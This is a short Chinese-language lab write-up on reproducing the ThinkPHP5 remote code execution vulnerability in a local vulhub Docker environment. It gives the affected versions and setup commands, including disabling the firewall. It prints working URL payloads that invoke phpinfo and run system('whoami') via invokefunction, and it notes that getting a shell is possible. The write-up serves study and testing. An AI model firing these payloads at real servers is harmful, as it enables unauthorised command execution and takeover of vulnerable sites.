前言
ThinkPHP5披露最多得漏洞就是RCE,其中的影响版本范围非常广
漏洞原理
其版本
5
中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
影响版本
5.0.0<=ThinkPHP5<=5.0.23
、
5.1.0<=ThinkPHP<=5.1.30
不同版本 payload 不同,且
5.13
版本后还与
debug
模式有关
漏洞复现
进入
cd vulhub-master/thinkphp/5-rce
拉取环境
docker-compose up -d
注:拉环境之前切记要先开启docker;关闭防火墙
systemctl start docker.service
systemctl stop firewalld.service
查看开放端口
docker ps
浏览器打开
你的ip:端口
eg:192.168.200.142:8080
POC
/index.phps=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
漏洞利用
上述
poc
只是简单的运行了
phpinfo ,
我们可以修改
payload ,
进而实现漏洞的利用(命令执行)
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&va
rs[1][]=whoami
同时也可以getshell
.........
复现结束之后要记得关闭;
docker-compose down
完成